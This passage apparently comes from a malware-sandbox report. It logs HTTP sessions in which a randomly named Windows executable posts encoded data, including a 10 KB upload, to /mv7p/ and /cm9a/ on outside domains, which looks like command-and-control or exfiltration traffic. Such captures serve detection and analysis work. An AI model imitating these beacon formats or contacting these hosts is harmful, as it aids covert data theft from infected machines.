74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?etx=BXy4elO0X&3vNdCBvX=YMHBudoHIUxH+uWIVKjvQ5iF9tPwkJokcjAI4kujT8yqZMh8PwdCYhUcXF8Hm7NuwJrkm81K0kAXhGwUtx1Q0LUsa6Gef/JbuNbn4M13wkoCvJOzh8OnTqA="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49909	103.21.221.87	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:11:09.352554083 CET	746	OUT	POST /mv7p/ HTTP/1.1 Host: www.rtpterbaruwaktu3.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.rtpterbaruwaktu3.xyz Referer: http://www.rtpterbaruwaktu3.xyz/mv7p/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 205 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 30 56 4d 37 2f 41 6f 66 64 69 35 4f 61 54 53 53 63 6a 42 30 75 5a 45 6c 38 57 4d 76 4e 42 67 53 6e 38 4a 36 39 6e 45 59 32 46 58 34 68 77 71 44 44 6d 4e 74 6d 56 48 71 34 2b 38 46 59 54 4e 53 31 36 47 2b 45 44 30 72 56 76 74 6e 79 67 77 7a 6b 2b 43 51 4c 34 63 72 4b 5a 6b 70 4c 61 57 78 47 6b 4f 4c 34 53 34 46 70 5a 6b 49 59 65 53 67 2f 38 70 76 2f 58 58 62 32 4f 6f 69 54 5a 45 6c 49 38 52 38 4c 46 4b 66 66 4b 6a 5a 64 6d 4d 4f 49 41 62 49 7a 68 77 34 2f 48 62 4b 6b 2b 63 52 69 53 6c 75 53 61 51 74 6f 58 66 35 32 65 50 4a 45 2b 67 33 75 63 33 59 79 5a 50 79 64 42 30 76 2f 77 3d 3d Data Ascii: 3vNdCBvX=0VM7/Aofdi5OaTSScjB0uZEl8WMvNBgSn8J69nEY2FX4hwqDDmNtmVHq4+8FYTNS16G+ED0rVvtnygwzk+CQL4crKZkpLaWxGkOL4S4FpZkIYeSg/8pv/XXb2OoiTZElI8R8LFKffKjZdmMOIAbIzhw4/HbKk+cRiSluSaQtoXf52ePJE+g3uc3YyZPydB0v/w==
Nov 24, 2024 08:11:10.900155067 CET	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Sun, 24 Nov 2024 07:11:10 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49917	103.21.221.87	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:11:12.029685020 CET	766	OUT	POST /mv7p/ HTTP/1.1 Host: www.rtpterbaruwaktu3.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.rtpterbaruwaktu3.xyz Referer: http://www.rtpterbaruwaktu3.xyz/mv7p/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 225 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 30 56 4d 37 2f 41 6f 66 64 69 35 4f 61 33 57 53 51 6b 56 30 70 35 45 69 6c 6d 4d 76 58 78 68 62 6e 38 46 36 39 6d 77 49 32 77 2f 34 68 56 57 44 53 53 52 74 6e 56 48 71 67 4f 39 75 58 7a 4d 2f 31 36 4b 49 45 42 67 72 56 76 35 6e 79 68 41 7a 6b 4a 32 52 4a 6f 63 74 42 35 6b 72 54 36 57 78 47 6b 4f 4c 34 53 38 2f 70 66 4d 49 5a 75 69 67 2f 65 42 73 6a 6e 58 45 69 65 6f 69 5a 35 46 75 49 38 52 65 4c 45 57 35 66 49 72 5a 64 6a 6f 4f 49 53 6a 4c 36 68 77 2b 77 6e 61 7a 30 73 39 5a 72 33 46 36 64 4d 45 31 31 58 4c 6e 7a 59 43 54 56 50 42 67 38 63 54 72 76 65 47 47 51 43 4a 6d 6b 2f 77 32 2f 59 74 68 54 78 56 63 6b 66 69 4f 46 6e 4c 4e 73 57 41 3d Data Ascii: 3vNdCBvX=0VM7/Aofdi5Oa3WSQkV0p5EilmMvXxhbn8F69mwI2w/4hVWDSSRtnVHqgO9uXzM/16KIEBgrVv5nyhAzkJ2RJoctB5krT6WxGkOL4S8/pfMIZuig/eBsjnXEieoiZ5FuI8ReLEW5fIrZdjoOISjL6hw+wnaz0s9Zr3F6dME11XLnzYCTVPBg8cTrveGGQCJmk/w2/YthTxVckfiOFnLNsWA=
Nov 24, 2024 08:11:13.628062010 CET	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Sun, 24 Nov 2024 07:11:13 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49924	103.21.221.87	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:11:14.697859049 CET	10848	OUT	POST /mv7p/ HTTP/1.1 Host: www.rtpterbaruwaktu3.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.rtpterbaruwaktu3.xyz Referer: http://www.rtpterbaruwaktu3.xyz/mv7p/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10305 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 30 56 4d 37 2f 41 6f 66 64 69 35 4f 61 33 57 53 51 6b 56 30 70 35 45 69 6c 6d 4d 76 58 78 68 62 6e 38 46 36 39 6d 77 49 32 32 6e 34 68 6e 4f 44 41 44 52 74 6b 56 48 71 2b 2b 39 74 58 7a 4e 39 31 36 43 55 45 42 39 63 56 74 42 6e 7a 48 55 7a 31 73 61 52 54 34 63 74 4f 5a 6b 6d 4c 61 58 72 47 6b 65 50 34 52 55 2f 70 66 4d 49 5a 6f 75 67 6f 63 70 73 77 33 58 62 32 4f 6f 75 54 5a 45 4a 49 39 34 38 4c 48 36 50 63 34 4c 5a 63 44 34 4f 4f 68 62 4c 31 68 77 38 33 6e 61 43 30 73 78 57 72 7a 73 55 64 4d 59 50 31 56 58 6e 2f 2f 7a 65 4a 4d 77 36 71 2f 62 44 30 4f 47 51 64 55 4a 55 6a 39 51 75 31 6f 39 68 49 52 46 70 6e 75 66 53 58 55 4c 52 32 6d 79 2f 31 34 56 42 55 79 6b 77 58 6c 49 62 57 4f 54 79 30 6b 33 71 31 2b 5a 69 65 47 43 54 43 5a 70 72 4c 4e 72 38 4f 4b 49 58 34 57 75 53 58 50 6b 75 6d 65 31 74 59 61 4a 51 4d 44 62 6f 35 79 6d 43 6d 33 74 35 52 47 6b 30 5a 37 50 6d 32 65 56 50 38 35 6e 42 39 35 43 67 71 42 65 71 2b 5a 63 4f 48 7a 68 31 79 4e 78 56 4c 4a 68 7a 57 6a 69 70 74 [TRUNCATED] Data Ascii: 3vNdCBvX=0VM7/Aofdi5Oa3WSQkV0p5EilmMvXxhbn8F69mwI22n4hnODADRtkVHq++9tXzN916CUEB9cVtBnzHUz1saRT4ctOZkmLaXrGkeP4RU/pfMIZougocpsw3Xb2OouTZEJI948LH6Pc4LZcD4OOhbL1hw83naC0sxWrzsUdMYP1VXn//zeJMw6q/bD0OGQdUJUj9Qu1o9hIRFpnufSXULR2my/14VBUykwXlIbWOTy0k3q1+ZieGCTCZprLNr8OKIX4WuSXPkume1tYaJQMDbo5ymCm3t5RGk0Z7Pm2eVP85nB95CgqBeq+ZcOHzh1yNxVLJhzWjiptVHw3iyq/leLdnFV/Ns+7DTr5x5OILn9jdacelBpaYEza3o/4mcaSMrRnvSc0wBYOZPV84CTr7pU6gnWhh7npLltTl9vUB73i0fGJRAPJjQaTxdIl4ccMaLRa8F97caOgozESowclbjDH1EynIxCbT7su13Cqym2gYczsXevcpCmdoy7tScDtso1SLnayo3WdJFUzIbPOCsgPzdeIqHq/aCAFE0fkpOGTGmGVGVv9g95Hj3SKuvGPD+LbrIEpboBZPDEVLyWFwWJsdPeFnwwvsXrNrPF+Re+xXewQxyYvDkQOcgxVzaI+k3EkOWYkXaC0WfhhZyBzHTkOiBxSvfU+q3093kwn/WjnYcxRjbJRRSYdKoMC2TxLphDQ+tM6st9l8OmB/KwCkMmrV6Ovg5yFsjcASW5/fuT4dxjdAi4MIHyiaNnAoQQGgliIau5IQDSUGE+ivFkpcPzQ40vA1X9hCBkVDMGUdhNtbTlsKXp0lasy22FAtvPi8qhfcuXAuk54eW4o24M1OgUuhnPi70643O2ODFvh7zRSmwYaSWcfcpdCxiN//TqpT+Gye5SoxslsZUbZlc559jYajkj+Fb4qXxpJPMcFrEMmqk5wjgcJ0HIhlr1od/WXh9J5nQBKo8dpurUq94CLuFROS0lymD1cfPxshS73TRDsRj [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49931	103.21.221.87	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:11:17.361005068 CET	468	OUT	GET /mv7p/?3vNdCBvX=5Xkb80UCbQYKeySKU05ZgY0hyXkWVD4R8td5rEUSu2Sur2yiMTlgkW/d3b9rVTV1/KKKFkoFavUE13Uu3OCOGKEDCrVhSay3c3WH5ydFiaohW8mA4vlt7iA=&etx=BXy4elO0X HTTP/1.1 Host: www.rtpterbaruwaktu3.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Nov 24, 2024 08:11:18.959041119 CET	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Sun, 24 Nov 2024 07:11:18 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49952	8.210.46.21	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:11:26.421331882 CET	728	OUT	POST /cm9a/ HTTP/1.1 Host: www.prhmcjdz.tokyo Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.prhmcjdz.tokyo Referer: http://www.prhmcjdz.tokyo/cm9a/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 205 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 4e 74 6c 59 31 31 75 38 77 77 38 79 76 31 5a 6b 39 41 79 4f 45 5a 46 4d 4a 4e 4b 66 61 4a 68 36 33 36 44 49 6f 72 4e 69 2f 59 6f 35 54 4e 53 39 68 64 74 73 47 50 76 4d 6a 78 7a 41 2f 55 33 51 67 78 33 67 59 49 4e 73 56 4a 56 70 54 42 57 37 64 5a 32 32 6b 52 54 63 75 50 79 6e 63 6d 6a 55 65 57 65 2b 4e 2b 6f 70 49 44 64 61 41 32 6e 69 30 2f 6c 62 7a 63 6e 6e 76 53 72 39 41 57 79 6c 4a 6f 70 4b 64 62 43 45 57 4f 41 71 68 6b 5a 55 74 48 66 4b 7a 58 64 62 63 62 2f 34 52 4d 42 36 6f 32 77 46 5a 7a 4d 52 38 53 68 38 31 79 49 44 6b 39 42 4f 65 69 33 4d 36 4b 2b 69 4c 47 69 44 30 51 3d 3d Data Ascii: 3vNdCBvX=NtlY11u8ww8yv1Zk9AyOEZFMJNKfaJh636DIorNi/Yo5TNS9hdtsGPvMjxzA/U3Qgx3gYINsVJVpTBW7dZ22kRTcuPyncmjUeWe+N+opIDdaA2ni0/lbzcnnvSr9AWylJopKdbCEWOAqhkZUtHfKzXdbcb/4RMB6o2wFZzMR8Sh81yIDk9BOei3M6K+iLGiD0Q==
Nov 24, 2024 08:11:27.981043100 CET	508	IN	HTTP/1.1 200 Server: nginx Date: Sun, 24 Nov 2024 07:11:27 GMT Content-Type: application/json;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: http://www.prhmcjdz.tokyo Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Data Raw: 35 34 0d 0a 7b 22 6d 73 67 22 3a 22 e8 af b7 e6 b1 82 e8 ae bf e9 97 ae ef bc 9a 2f 63 6d 39 61 2f ef bc 8c e8 ae a4 e8 af 81 e5 a4 b1 e8 b4 a5 ef bc 8c e6 97 a0 e6 b3 95 e8 ae bf e9 97 ae e7 b3 bb e7 bb 9f e8 b5 84 e6 ba 90 22 2c 22 63 6f 64 65 22 3a 34 30 31 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 54{"msg":"/cm9a/","code":401}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49958	8.210.46.21	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:11:29.093018055 CET	748	OUT	POST /cm9a/ HTTP/1.1 Host: www.prhmcjdz.tokyo Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.prhmcjdz.tokyo Referer: http://www.prhmcjdz.tokyo/cm9a/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 225 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 4e 74 6c 59 31 31 75 38 77 77 38 79 76 56 70 6b 75 33 6d 4f 55 4a 46 44 4b 4e 4b 66 44 5a 68 2b 33 36 48 49 6f 70 67 6e 2f 4c 63 35 53 6f 75 39 69 5a 35 73 54 50 76 4d 37 68 7a 46 37 55 33 66 67 78 36 54 59 49 68 73 56 49 78 70 54 42 47 37 64 4f 69 33 2b 68 54 65 37 2f 79 35 53 47 6a 55 65 57 65 2b 4e 2b 74 79 49 44 46 61 41 46 2f 69 31 62 35 61 2f 38 6e 6b 2b 53 72 39 45 57 7a 73 4a 6f 70 6f 64 61 75 71 57 4e 34 71 68 6b 70 55 73 53 72 46 6d 6e 64 5a 53 37 2f 6d 61 4d 6b 42 67 48 4d 52 5a 31 4d 52 6a 68 39 36 35 55 46 5a 31 4d 67 5a 4d 69 54 2f 6e 4e 33 57 47 46 66 4b 76 63 58 70 5a 45 7a 70 38 64 67 63 61 48 52 43 55 2f 64 57 64 76 77 3d Data Ascii: 3vNdCBvX=NtlY11u8ww8yvVpku3mOUJFDKNKfDZh+36HIopgn/Lc5Sou9iZ5sTPvM7hzF7U3fgx6TYIhsVIxpTBG7dOi3+hTe7/y5SGjUeWe+N+tyIDFaAF/i1b5a/8nk+Sr9EWzsJopodauqWN4qhkpUsSrFmndZS7/maMkBgHMRZ1MRjh965UFZ1MgZMiT/nN3WGFfKvcXpZEzp8dgcaHRCU/dWdvw=
Nov 24, 2024 08:11:30.667376995 CET	508	IN	HTTP/1.1 200 Server: nginx Date: Sun, 24 Nov 2024 07:11:30 GMT Content-Type: application/json;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: http://www.prhmcjdz.tokyo Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Data Raw: 35 34 0d 0a 7b 22 6d 73 67 22 3a 22 e8 af b7 e6 b1 82 e8 ae bf e9 97 ae ef bc 9a 2f 63 6d 39 61 2f ef bc 8c e8 ae a4 e8 af 81 e5 a4 b1 e8 b4 a5 ef bc 8c e6 97 a0 e6 b3 95 e8 ae bf e9 97 ae e7 b3 bb e7 bb 9f e8 b5 84 e6 ba 90 22 2c 22 63 6f 64 65 22 3a 34 30 31 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 54{"msg":"/cm9a/","code":401}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49965	8.210.46.21	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:11:31.761451006 CET	10830	OUT	POST /cm9a/ HTTP/1.1 Host: www.prhmcjdz.tokyo Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.prhmcjdz.tokyo Referer: http://www.prhmcjdz.tokyo/cm9a/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10305 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 4e 74 6c 59 31 31 75 38 77 77 38 79 76 56 70 6b 75 33 6d 4f 55 4a 46 44 4b 4e 4b 66 44 5a 68 2b 33 36 48 49 6f 70 67 6e 2f 4b 6b 35 53 61 57 39 6b 4c 52 73 42 2f 76 4d 6c 78 7a 45 37 55 33 34 67 78 69 66 59 49 38 4f 56 4c 5a 70 54 69 2b 37 4d 76 69 33 72 78 54 65 6b 76 79 6b 63 6d 6a 42 65 56 6d 36 4e 2b 39 79 49 44 46 61 41 45 50 69 7a 50 6c 61 39 38 6e 6e 76 53 72 68 41 57 7a 41 4a 6f 42 53 64 61 61 55 57 63 59 71 68 45 35 55 75 67 7a 46 36 33 64 58 48 37 2b 31 61 4d 59 65 67 47 68 2f 5a 31 52 32 6a 6d 56 36 6f 51 6f 69 70 66 49 55 65 43 62 77 30 39 50 63 42 57 37 39 33 4f 65 55 64 6c 58 76 6d 2f 73 30 53 57 67 76 4e 4b 31 53 4a 59 67 48 4a 78 63 7a 6e 62 37 74 66 36 34 2b 2b 7a 68 4a 31 35 42 49 4a 2f 42 58 55 68 50 54 58 63 31 57 43 2b 33 59 65 6b 55 63 53 6d 31 76 79 62 51 66 62 6b 41 62 32 63 61 71 2f 79 6e 6f 62 62 67 50 47 4d 75 63 50 35 6d 4c 55 48 69 55 66 61 53 39 6e 70 48 4c 79 38 64 54 64 46 32 4f 63 4b 59 54 37 70 6c 7a 64 43 78 77 4a 74 66 6d 57 68 50 6d 69 [TRUNCATED] Data Ascii: 3vNdCBvX=NtlY11u8ww8yvVpku3mOUJFDKNKfDZh+36HIopgn/Kk5SaW9kLRsB/vMlxzE7U34gxifYI8OVLZpTi+7Mvi3rxTekvykcmjBeVm6N+9yIDFaAEPizPla98nnvSrhAWzAJoBSdaaUWcYqhE5UugzF63dXH7+1aMYegGh/Z1R2jmV6oQoipfIUeCbw09PcBW793OeUdlXvm/s0SWgvNK1SJYgHJxcznb7tf64++zhJ15BIJ/BXUhPTXc1WC+3YekUcSm1vybQfbkAb2caq/ynobbgPGMucP5mLUHiUfaS9npHLy8dTdF2OcKYT7plzdCxwJtfmWhPmiBBjRtSFzgx7jYrpJfNwlgYXku7xWnRPy8oEqWflSIefiX60r+tJr026CKnTKOS61D03LNJ8bO9pkDhAKp/unVZT6skfv1joeYOL3mOOgRJ/PrLDybahLaIFr6u7TwQKe5KODKh3EH7yPoQC8PYCqU3G/zox+/r56fsT+UICOSvaW1RVR56F6DyJBO6um+nDDhGiSt/1MgSZmcDu1DzZEv0WdQ9igttlyezENkAXiTl/ShT5ZrD8k83sLCDnwKL+OHMyDV9n5KRBr9/spH15mgrT7ttMsQ5utn0fAbl4SKNJy81nQKI8BATlSB0fYLTsW0R1a/o9SYJhfaxTZsUtfQv/DKuS8zV6QcK0mzkfFLa9sRy0aD4YezqETiSsBu04NKnIoF0U3SIbWiUrYJpjRJIlzTFNMo/ctxG6i34uJBfJ7OBzR8MbNAAfAEu1qtK7b/n7X2oUu2mn6WGJXuteQ6BmjB4Vo4V74uPgqi5x7vGAKhi3hxwt3A2q/V/99hWg68QVHUBgXO/Ku5abp7VLJWPydhzhRDpk7qxHHPjQdwuZaGarMTOvtmURkbK+jKb8XXMd1T9otou4nWoj2FvyTLr8SOcmPh/dXKGg7LttIMqUq3rSIwhaxHz8AI5RnVRDn6eXrTKpruJ4ZQXHsQxMv6TgTmGdkX/bUNf [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49972	8.210.46.21	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
